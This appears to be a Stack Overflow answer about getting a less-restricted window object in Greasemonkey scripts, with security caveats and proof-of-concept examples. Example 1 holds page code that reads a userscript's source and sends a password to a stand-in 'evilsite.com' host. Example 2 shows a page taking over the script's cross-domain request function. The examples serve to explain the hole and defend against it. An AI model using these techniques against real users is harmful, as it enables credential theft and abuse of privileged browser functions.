I have found a method to solve the question. Be careful to use this method though: when you partially/wrongly implement this code, you're opening a potential security hole.
The code below obtains a window
object without the ambiguous restrictions of unsafeWindow
. Any code executed in the scope of this window
object will behave if it was a part of the actual page, similarly to the Content Scripts at Google Chrome's extensions.
Code
// ==UserScript==
// @name http://stackoverflow.com/q/4804765
// @namespace Rob W
// @include file:///tmp/test.html*
// ==/UserScript==
//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
.getInterface(Components.interfaces.nsIDOMWindow);
//Create an anonymous function wrapper for security
(function(){
var obj = new $_WINDOW.namespace.constructor;
obj.sum(4,5);
}).call($_WINDOW)
Security considerations
- Wrap the code which uses methods/variables of this
window
object in a function, so that no dangerous holes are created. Do not allow this function wrapper to execute random code based on user input.
- See Example 3 for the right method to implement
$_WINDOW
Examples / Proof of Concept
Below, I will show possible cases in which the $_WINDOW
object is implemented in a dangerous way. It's obvious that the Code at the "//page
" was not expected by the developer of the GM script.
Note: Some examples (such as example 2) may be useful for secure (local) web-based applications (at the file:///
protocol, for instance).
Example 3 shows the right method to use $_WINDOW
.
I have used the magic __defineGetter__
function to detect calls to a variable, because most script developers do not know about this feature. Calling functions directly will also trigger the harmful code;
The main cause is laid at arguments.callee.caller
. Inside a function, this object will refer to the function which has called the current function. When unsafeWindow
is used, the arguments.callee.caller
variable cannot be called. The function will then be displayed as function SJOWContentBoundary{ [native code]}
. However, when $_WINDOW
is used, the real GM function is visible and callable by the remote page.
Example 1:
Reading (sensible) data from a GreaseMonkey script
//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?
//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
var gm_function = arguments.callee.caller;
var password = gm_function.toString().match(/var password = "(.*?)";\n/);
(new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})
Example 2:
Leaking a cross-domain XMLHttpRequest
method to an arbitrary page.
The creator of this GM script intended to modify the page according to a hash change. However, by including a check (whether the page should be affected) in a function which changes the URL / callback, a hole was created.
//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
base_url = url;
callback = func;
return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
window.setInterval(function(){ //Create poller to detect hash changes
var newHash = unsafeWindow.location.hash.substr(1);
if(lastHash != newHash){
GM_xmlhttpRequest({method:"GET",
"url": base_url + newHash, onload:callback});
lastHash = newHash;
}
}, 300);
}
//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
if(!step++){ //Define the xhr first time
xhr = function(url, callback){
arguments.callee.caller(url, callback);
// = function checkExistent(url, callback) !!!!
location.hash += "."; //Edit hash to trigger XHR
}
}
return step;
});
Example 3:
Correct usage
Variable getters should be defined such that no arbitrary requests can be made. Functions should not accept variables. If it's still necessary, wrap the getter in an anonymous function.
//GM:
function getUserdata(){
//Get a string from a page. Wrap the string in a new String object,
// to make sure that no evil properties/methods are defined
return String($_WINDOW.variable);
}
//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
var variable = (function(){ //No arguments, no hazards
return $_WINDOW[name];
})();
return type(variable);
}
getRandomVariable(String, "variable");
//Page:
var variable = "There's no way to abuse this GM bridge.";